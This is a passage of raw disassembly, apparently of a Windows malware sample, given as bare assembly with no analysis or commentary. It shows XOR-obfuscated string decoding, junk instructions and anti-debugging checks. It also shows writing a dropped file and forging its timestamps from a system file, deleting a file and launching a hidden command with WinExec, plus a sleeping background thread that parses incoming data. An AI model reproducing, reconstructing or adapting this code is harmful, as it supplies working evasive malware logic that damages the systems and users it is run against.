		jz	short loc_407C62
		push	0Eh		; Size
		push	offset byte_446EB3 ; Src
		call	sub_406CA2
		mov	edi, 9
		sub	edi, dword_4423A4
		push	edi
		push	eax
		push	offset MultiByteStr
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	loc_407D3D


loc_407C62:				; CODE XREF: sub_406D2E+F01j
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	[ebp+var_525EE], 0


loc_407C70:				; CODE XREF: sub_406D2E+FE1j
		mov	eax, 13h
		sub	eax, dword_4423A8
		push	eax
		movzx	eax, [ebp+var_525EE]
		lea	eax, ds:4423B4h[eax]
		push	eax
		push	offset MultiByteStr
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_407CB8
		call	GetVersion	; GetVersion
		push	1
		lea	eax, [ebp+var_2177D]
		push	eax
		call	dword_40F1D8
		jmp	loc_407D3D
; ---------------------------------------------------------------------------


loc_407CB8:				; CODE XREF: sub_406D2E+F6Fj
		movzx	eax, [ebp+var_525EE]
		mov	[ebp+var_52674], eax
		lea	ecx, ds:4423B4h[eax]
		or	eax, 0FFFFFFFFh


loc_407CCF:				; CODE XREF: sub_406D2E+FA6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_407CCF
		mov	esi, [ebp+var_52674]
		add	esi, eax
		mov	edi, esi
		mov	[ebp+var_525EE], di
		mov	[ebp+var_52626], 4EA9h
		add	[ebp+var_52626], 266Bh
		inc	[ebp+var_525EE]
		movzx	eax, [ebp+var_525EE]
		cmp	byte_4423B4[eax], 0
		jnz	loc_407C70
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	0
		lea	eax, [ebp+var_2177D]
		push	eax
		call	dword_40F1D8
		lea	edi, [ebp+var_5266D]
		lea	esi, byte_442425
		mov	ecx, 3
		rep movsw


loc_407D3D:				; CODE XREF: sub_406D2E:loc_407BFAj
					; sub_406D2E+F2Ej ...
		mov	[ebp+var_21788], 0
		jmp	short loc_407D74
; ---------------------------------------------------------------------------


loc_407D48:				; CODE XREF: sub_406D2E+1053j
		movzx	edi, [ebp+var_21788]
		cmp	[ebp+edi*4+var_10FA4], 0
		jz	short loc_407D6D
		movzx	edi, [ebp+var_21788]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+8]


loc_407D6D:				; CODE XREF: sub_406D2E+1029j
		inc	[ebp+var_21788]


loc_407D74:				; CODE XREF: sub_406D2E+1018j
		movzx	eax, [ebp+var_21788]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_407D48
		call	GetVersion	; GetVersion


loc_407D88:				; CODE XREF: sub_406D2E+400j
					; sub_406D2E+E4Fj
		cmp	[ebp+var_525E4], 0
		jz	short loc_407D9D
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407D9D:				; CODE XREF: sub_406D2E+1061j
		mov	[ebp+var_5262C], 522Eh
		inc	[ebp+var_5262C]
		cmp	[ebp+var_52610], 0
		jz	short loc_407DC2
		mov	eax, [ebp+var_52610]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407DC2:				; CODE XREF: sub_406D2E+1086j
		call	GetProcessHeap	; GetProcessHeap
		cmp	[ebp+var_52608], 0
		jz	short loc_407DDC
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407DDC:				; CODE XREF: sub_406D2E+10A0j
		lea	edi, [ebp+var_5266E]
		lea	esi, byte_44242B
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_407DED:				; CODE XREF: sub_406D2E+227j
		cmp	[ebp+var_52604], 0
		jz	short loc_407E02
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407E02:				; CODE XREF: sub_406D2E+130j
					; sub_406D2E+181j ...
		cmp	[ebp+var_525FC], 0
		jz	short loc_407E17
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407E17:				; CODE XREF: sub_406D2E+10DBj
		mov	[ebp+var_5262D], 0FDh
		add	[ebp+var_5262D], 1


loc_407E25:				; CODE XREF: sub_406D2E+101j
		cmp	[ebp+var_525F4], 0
		jz	short loc_407E3A
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407E3A:				; CODE XREF: sub_406D2E+10FEj
		call	GetVersion	; GetVersion
		jmp	loc_406D95
; ---------------------------------------------------------------------------


loc_407E44:				; CODE XREF: sub_406D2E+5Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406D2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall StartAddress(LPVOID)

StartAddress	proc near		; DATA XREF: sub_407F07+2Co

var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_44242C
		push	offset sub_40109A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	[ebp+var_4], 0
		mov	[ebp+var_19], 9
		movzx	edi, [ebp+var_19]
		mov	esi, edi
		add	esi, edi
		mov	ebx, esi
		mov	[ebp+var_19], bl


loc_407E8C:				; CODE XREF: StartAddress+83j
					; StartAddress+A3j
		mov	[ebp+var_1A], 0DFh
		movzx	edi, [ebp+var_1A]
		mov	esi, edi
		add	esi, edi
		mov	ebx, esi
		mov	[ebp+var_1A], bl
		mov	edi, dword_4423A4
		add	edi, 1ECh
		push	edi		; Duration
		call	_sleep	; _sleep
		add	esp, 4
		call	sub_406D2E
		mov	[ebp+var_20], 12EBh
		add	[ebp+var_20], 59A8h
		cmp	ThreadId, 0
		jnz	short loc_407E8C
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-1Ch], 1
		mov	eax, [ebp-1Ch]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		call	GetVersion	; GetVersion
		jmp	short loc_407E8C
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh


loc_407EF5:				; CODE XREF: StartAddress+85j
					; StartAddress+8Ej
		pop	edi
		pop	esi
		pop	ebx
		xchg	eax, ecx
		mov	eax, [ebp+var_10]
		mov	large fs:0, eax
		xchg	eax, ecx
		leave
		retn	4
StartAddress	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F07	proc near		; CODE XREF: sub_40AA24+7F9p

var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_2]
		lea	esi, dword_442438
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp+arg_0]
		mov	dword_40F1D8, eax
		mov	ebx, 6DB8h
		inc	ebx
		push	offset ThreadId	; lpThreadId
		push	0		; dwCreationFlags
		push	0		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	CreateThread	; CreateThread
		mov	ebx, eax
		mov	[ebp+var_1], 0E3h
		add	[ebp+var_1], 63h
		push	ebx		; hObject
		call	CloseHandle	; CloseHandle
		call	GetVersion	; GetVersion
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407F07	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		call	GetVersion	; GetVersion
		cmp	dword_442370, 0
		jnz	short loc_407F71
		xor	eax, eax
		jmp	short loc_407FB9
; ---------------------------------------------------------------------------


loc_407F71:				; CODE XREF: .text:00407F6Bj
		call	GetLastError
		mov	eax, dword_42FB14
		cmp	[ebp+8], eax
		jz	short loc_407F84
		xor	eax, eax
		jmp	short loc_407FB9
; ---------------------------------------------------------------------------


loc_407F84:				; CODE XREF: .text:00407F7Ej
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	ecx, MultiByteStr
		or	eax, 0FFFFFFFFh


loc_407F92:				; CODE XREF: .text:00407F97j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_407F92
		mov	edi, eax
		add	edi, 1
		push	edi
		push	offset MultiByteStr
		push	dword ptr [ebp+0Ch]
		call	memcpy	; memcpy
		add	esp, 0Ch
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, 1


loc_407FB9:				; CODE XREF: .text:00407F6Fj
					; .text:00407F82j
		pop	edi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407FBC(void *Src, size_t Size)

sub_407FBC	proc near		; CODE XREF: sub_408048+22Ep

var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_442444
		lea	eax, ds:415580h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_4], 0D2h
		xor	edi, edi
		jmp	short loc_408003
; ---------------------------------------------------------------------------


loc_407FE9:				; CODE XREF: sub_407FBC+49j
		mov	eax, dword_442444
		add	eax, edi
		lea	eax, ds:415580h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0FDh
		mov	[eax], dl
		inc	edi


loc_408003:				; CODE XREF: sub_407FBC+2Bj
		cmp	edi, esi
		jl	short loc_407FE9
		mov	eax, dword_442444
		add	eax, esi
		mov	byte ptr dword_415580[eax], 0
		mov	edi, dword_442444
		add	dword_442444, 3
		mov	eax, dword_442444
		inc	eax
		add	eax, esi
		mov	dword_442444, eax
		cmp	eax, 0DC5h
		jle	short loc_40803E
		and	dword_442444, 0


loc_40803E:				; CODE XREF: sub_407FBC+79j
		lea	eax, dword_415580[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_407FBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_408048(LPCVOID lpBuffer)

sub_408048	proc near		; DATA XREF: sub_40AA24+7F4o

var_2A		= byte ptr -2Ah
NumberOfBytesWritten= dword ptr	-24h
var_20		= dword	ptr -20h
hObject		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpBuffer	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_13], 0BEh
		add	[ebp+var_13], 3Fh
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_10], 0


loc_408065:				; CODE XREF: sub_408048+15Ej
					; sub_408048+169j ...
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+lpBuffer]
		cmp	byte ptr [edx+eax], 3Ah
		jnz	loc_408179
		mov	[ebp+var_18], 723h
		sub	[ebp+var_18], 2278h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+lpBuffer]
		cmp	byte ptr [eax+edx+11h],	20h
		jz	short loc_40809B
		cmp	byte ptr [eax+edx+14h],	20h
		jnz	loc_408179


loc_40809B:				; CODE XREF: sub_408048+46j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	edx, [ebp+lpBuffer]
		mov	al, [edx+eax]
		cmp	al, 34h
		jz	short loc_4080B1
		cmp	al, 35h
		jnz	loc_408179


loc_4080B1:				; CODE XREF: sub_408048+5Fj
		mov	eax, [ebp+var_4]
		add	eax, 11h
		mov	edx, [ebp+lpBuffer]
		cmp	byte ptr [edx+eax], 20h
		jnz	short loc_4080C9
		mov	[ebp+var_8], 10h
		jmp	short loc_4080D0
; ---------------------------------------------------------------------------


loc_4080C9:				; CODE XREF: sub_408048+76j
		mov	[ebp+var_8], 13h


loc_4080D0:				; CODE XREF: sub_408048+7Fj
		mov	[ebp+var_9], 0
		xor	ebx, ebx
		jmp	short loc_408150
; ---------------------------------------------------------------------------


loc_4080D8:				; CODE XREF: sub_408048+10Bj
		call	GetVersion	; GetVersion
		cmp	[ebp+var_8], 13h
		jnz	short loc_408119
		mov	eax, [ebp+var_4]
		inc	eax
		add	eax, ebx
		mov	edx, [ebp+lpBuffer]
		cmp	byte ptr [edx+eax], 2Dh
		jnz	short loc_408119
		mov	edi, 5
		mov	esi, ebx
		inc	esi
		mov	[ebp+hObject], edi
		mov	eax, esi
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		mov	[ebp+var_20], eax
		mov	eax, edi
		mov	edi, [ebp+var_20]
		mul	[ebp+var_20]
		mov	[ebp+NumberOfBytesWritten], eax
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_40814F


loc_408119:				; CODE XREF: sub_408048+99j
					; sub_408048+A8j
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, [ebp+var_4]
		inc	eax
		add	eax, ebx
		mov	edx, [ebp+lpBuffer]
		mov	al, [edx+eax]
		cmp	al, 30h
		jl	short loc_408132
		cmp	al, 39h
		jle	short loc_408134


loc_408132:				; CODE XREF: sub_408048+E4j
		jmp	short loc_408179
; ---------------------------------------------------------------------------


loc_408134:				; CODE XREF: sub_408048+E8j
		movzx	eax, [ebp+var_9]
		mov	edx, [ebp+var_4]
		inc	edx
		add	edx, ebx
		mov	ecx, [ebp+lpBuffer]
		mov	dl, [ecx+edx]
		mov	Format[eax], dl
		add	[ebp+var_9], 1


loc_40814F:				; CODE XREF: sub_408048+CFj
		inc	ebx


loc_408150:				; CODE XREF: sub_408048+8Ej
		cmp	ebx, [ebp+var_8]
		jb	short loc_4080D8
		mov	eax, [ebp+var_8]
		mov	Format[eax], 0
		call	sub_40133B
		or	eax, eax
		jz	short loc_408170
		call	GetCurrentProcessId	; GetCurrentProcessId
		jmp	short loc_408179
; ---------------------------------------------------------------------------


loc_408170:				; CODE XREF: sub_408048+11Fj
		mov	[ebp+var_10], 1
		jmp	short loc_4081E7
; ---------------------------------------------------------------------------


loc_408179:				; CODE XREF: sub_408048+27j
					; sub_408048+4Dj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+lpBuffer]
		cmp	byte ptr [edx+eax], 0
		jz	short loc_4081E3
		mov	[ebp+var_12], 2C6Eh
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+lpBuffer]
		cmp	byte ptr [edx+eax], 3Ch
		jnz	loc_408065
		cmp	byte ptr [eax+edx+1], 46h
		jnz	loc_408065
		cmp	byte ptr [eax+edx+2], 4Fh
		jnz	loc_408065
		cmp	byte ptr [eax+edx+3], 52h
		jnz	loc_408065
		cmp	byte ptr [eax+edx+4], 4Dh
		jnz	loc_408065
		cmp	byte ptr [eax+edx+5], 5Fh
		jnz	loc_408065


loc_4081E3:				; CODE XREF: sub_408048+13Ej
		and	[ebp+var_10], 0


loc_4081E7:				; CODE XREF: sub_408048+12Fj
		cmp	[ebp+var_10], 0
		jz	short loc_4081FC
		mov	eax, dword_42FB14
		mov	dword_43C21C, eax
		jmp	loc_4082A6
; ---------------------------------------------------------------------------


loc_4081FC:				; CODE XREF: sub_408048+1A3j
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	offset byte_40E080 ; lpFileName
		call	CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		mov	[ebp+var_20], 7776h
		add	[ebp+var_20], 6412h
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		push	eax		; hFile
		call	SetFilePointer	; SetFilePointer
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, [ebp+lpBuffer]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_408244:				; CODE XREF: sub_408048+201j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408244
		mov	edi, eax
		push	0		; lpOverlapped
		lea	esi, [ebp+NumberOfBytesWritten]
		push	esi		; lpNumberOfBytesWritten
		push	edi		; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		push	[ebp+hObject]	; hFile
		call	WriteFile	; WriteFile
		lea	edi, [ebp+var_2A]
		lea	esi, dword_442448
		mov	ecx, 6
		rep movsb
		push	2		; Size
		push	offset byte_446EB0 ; Src
		call	sub_407FBC
		add	esp, 8
		push	0		; lpOverlapped
		lea	edi, [ebp+NumberOfBytesWritten]
		push	edi		; lpNumberOfBytesWritten
		mov	edi, 14h
		sub	edi, dword_442440
		push	edi		; nNumberOfBytesToWrite
		push	eax		; lpBuffer
		push	[ebp+hObject]	; hFile
		call	WriteFile	; WriteFile
		call	GetTickCount	; GetTickCount
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle


loc_4082A6:				; CODE XREF: sub_408048+1AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408048	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4082AB(void *Src, size_t Size)

sub_4082AB	proc near		; CODE XREF: sub_40833E+76p
					; sub_40844F+DEp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		mov	[ebp+var_4], 0Dh
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_446458
		lea	eax, ds:40D000h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4082F0
; ---------------------------------------------------------------------------


loc_4082D9:				; CODE XREF: sub_4082AB+47j
		mov	eax, dword_446458
		add	eax, edi
		lea	eax, ds:40D000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 3Ah
		mov	[eax], dl
		inc	edi


loc_4082F0:				; CODE XREF: sub_4082AB+2Cj
		cmp	edi, esi
		jl	short loc_4082D9
		mov	eax, dword_446458
		add	eax, esi
		mov	byte ptr dword_40D000[eax], 0
		xor	edi, edi
		mov	edi, dword_446458
		inc	dword_446458
		mov	eax, dword_446458
		lea	eax, [eax+esi+6]
		mov	dword_446458, eax
		cmp	eax, 0DFAh
		jle	short loc_40832D
		and	dword_446458, 0


loc_40832D:				; CODE XREF: sub_4082AB+79j
		mov	[ebp+var_8], 337h
		lea	eax, dword_40D000[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4082AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40833E(HANDLE	hFile)

sub_40833E	proc near		; CODE XREF: sub_40844F+90p

var_22C		= word ptr -22Ch
LastWriteTime	= _FILETIME ptr	-22Ah
LastAccessTime	= _FILETIME ptr	-222h
CreationTime	= _FILETIME ptr	-21Ah
var_212		= dword	ptr -212h
Buffer		= byte ptr -20Eh
var_109		= byte ptr -109h
var_108		= word ptr -108h
FileName	= byte ptr -105h
hFile		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		push	esi
		push	edi
		call	GetTickCount	; GetTickCount
		mov	eax, dword_44645C
		mov	[ebp+var_212], eax
		mov	[ebp+var_108], 1671h
		movzx	eax, [ebp+var_108]
		imul	eax, 49FCh
		mov	[ebp+var_108], ax
		push	104h		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		mov	[ebp+var_109], 7Ch
		add	[ebp+var_109], 1
		lea	eax, [ebp+Buffer]
		push	eax
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40C6D8
		call	GetVersion	; GetVersion
		push	0Dh		; Size
		push	offset word_446EA2 ; Src
		call	sub_4082AB
		push	eax		; Source
		lea	esi, [ebp+FileName]
		push	esi		; Dest
		call	strcat	; strcat
		add	esp, 10h
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	80000001h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	CreateFileA	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40844B
		call	GetLastError
		lea	eax, [ebp+LastWriteTime]
		push	eax		; lpLastWriteTime
		lea	eax, [ebp+LastAccessTime]
		push	eax		; lpLastAccessTime
		lea	eax, [ebp+CreationTime]
		push	eax		; lpCreationTime
		push	edi		; hFile
		call	GetFileTime	; GetFileTime
		lea	eax, [ebp+LastWriteTime]
		push	eax		; lpLastWriteTime
		lea	eax, [ebp+LastAccessTime]
		push	eax		; lpLastAccessTime
		lea	eax, [ebp+CreationTime]
		push	eax		; lpCreationTime
		push	[ebp+hFile]	; hFile
		call	SetFileTime	; SetFileTime
		push	edi		; hObject
		call	CloseHandle	; CloseHandle
		mov	[ebp+var_22C], 0BCFh
		movzx	eax, [ebp+var_22C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_22C], ax


loc_40844B:				; CODE XREF: sub_40833E+ABj
		pop	edi
		pop	esi
		leave
		retn
sub_40833E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40844F	proc near		; CODE XREF: sub_40AA24+8Dp

var_22B		= byte ptr -22Bh
var_228		= byte ptr -228h
NumberOfBytesWritten= dword ptr	-220h
var_21B		= byte ptr -21Bh
Dest		= byte ptr -218h
FileName	= byte ptr -114h
var_108		= word ptr -108h
var_105		= byte ptr -105h
CmdLine		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		push	ebx
		push	esi
		push	edi
		call	GetVersion	; GetVersion
		call	GetVersion	; GetVersion
		cmp	eax, 80000000h
		jnb	loc_4085A0
		lea	edi, [ebp+FileName]
		lea	esi, dword_446460
		mov	ecx, 3
		rep movsd
		lea	edi, [ebp+var_21B]
		lea	esi, byte_44646C
		mov	ecx, 3
		rep movsb
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	CreateFileA	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_108], 7171h
		sub	[ebp+var_108], 3D17h
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	4001h		; nNumberOfBytesToWrite
		push	offset word_44244E ; lpBuffer
		push	ebx		; hFile
		call	WriteFile	; WriteFile
		push	ebx		; hFile
		call	sub_40833E
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	ebx		; hObject
		call	CloseHandle	; CloseHandle
		lea	edi, [ebp+var_228]
		lea	esi, byte_44646F
		mov	ecx, 2
		rep movsd
		lea	edi, [ebp+var_22B]
		lea	esi, byte_446477
		mov	ecx, 3
		rep movsb
		push	104h		; uSize
		lea	eax, [ebp+CmdLine]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		push	0Ah		; Size
		push	offset byte_446E97 ; Src
		call	sub_4082AB
		lea	edi, [ebp+CmdLine]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	1Dh		; Size
		push	offset byte_446E79 ; Src
		call	sub_4082AB
		push	eax		; Source
		lea	edi, [ebp+CmdLine]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 28h
		call	GetCurrentThreadId	; GetCurrentThreadId
		lea	eax, [ebp+Dest]
		push	eax		; lpFileName
		call	DeleteFileA	; DeleteFileA
		mov	[ebp+var_105], 45h
		movzx	eax, [ebp+var_105]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_105], al
		push	0		; uCmdShow
		lea	eax, [ebp+CmdLine]
		push	eax		; lpCmdLine
		call	WinExec	; WinExec


loc_4085A0:				; CODE XREF: sub_40844F+1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40844F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_446504
		lea	eax, ds:432DD0h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 1E6h
		xor	edi, edi
		jmp	short loc_4085EB
; ---------------------------------------------------------------------------


loc_4085D4:				; CODE XREF: .text:004085EDj
		mov	eax, dword_446504
		add	eax, edi
		lea	eax, ds:432DD0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0Fh
		mov	[eax], dl
		inc	edi


loc_4085EB:				; CODE XREF: .text:004085D2j
		cmp	edi, esi
		jl	short loc_4085D4
		mov	dword ptr [ebp-8], 237h
		mov	eax, dword_446504
		add	eax, esi
		mov	byte ptr dword_432DD0[eax], 0
		xor	edi, edi
		mov	edi, dword_446504
		add	dword_446504, 2
		mov	eax, dword_446504
		add	eax, 6
		add	eax, esi
		mov	dword_446504, eax
		add	dword_446504, 2
		cmp	dword_446504, 0DC4h
		jle	short loc_40863D
		and	dword_446504, 0


loc_40863D:				; CODE XREF: .text:00408634j
		mov	dword ptr [ebp-0Ch], 65h
		lea	eax, dword_432DD0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40864E(SIZE_T	dwSize)

sub_40864E	proc near		; CODE XREF: sub_408779+43p

var_1		= byte ptr -1
dwSize		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	GetVersion	; GetVersion
		push	4		; flProtect
		push	1000h		; flAllocationType
		push	[ebp+dwSize]	; dwSize
		push	0		; lpAddress
		call	VirtualAlloc	; VirtualAlloc
		jmp	short locret_40867B
; ---------------------------------------------------------------------------
		mov	[ebp+var_1], 3Fh
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al

locret_40867B:				; CODE XREF: sub_40864E+1Aj
		leave
		retn
sub_40864E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40867D(LPVOID	lpAddress)

sub_40867D	proc near		; CODE XREF: sub_408779+E6p

lpAddress	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	8000h		; dwFreeType
		push	0		; dwSize
		push	[ebp+lpAddress]	; lpAddress
		call	VirtualFree	; VirtualFree
		jmp	short loc_40869B
; ---------------------------------------------------------------------------
		call	GetProcessHeap	; GetProcessHeap


loc_40869B:				; CODE XREF: sub_40867D+17j
		pop	ebp
		retn
sub_40867D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2A0h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_446510
		lea	eax, ds:43A570h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 2B3h
		xor	edi, edi
		jmp	short loc_4086ED
; ---------------------------------------------------------------------------


loc_4086D3:				; CODE XREF: .text:004086EFj
		mov	eax, dword_446510
		add	eax, edi
		lea	eax, ds:43A570h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F6h
		mov	[eax], dl
		inc	edi


loc_4086ED:				; CODE XREF: .text:004086D1j
		cmp	edi, esi
		jl	short loc_4086D3
		mov	dword ptr [ebp-0Ch], 25h
		mov	eax, dword_446510
		add	eax, esi
		mov	byte ptr dword_43A570[eax], 0
		mov	edi, dword_446510
		inc	dword_446510
		mov	eax, dword_446510
		add	eax, 5
		add	eax, esi
		mov	dword_446510, eax
		cmp	eax, 0E06h
		jle	short loc_408730
		and	dword_446510, 0


loc_408730:				; CODE XREF: .text:00408727j
		mov	dword ptr [ebp-10h], 20Bh
		lea	eax, dword_43A570[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408741	proc near		; CODE XREF: sub_408779+103p

var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 19C3h
		sub	[ebp+var_4], 4EAAh
		push	offset dword_4464BC
		push	offset dword_44647C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BC80
		mov	[ebp+var_1], 19h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
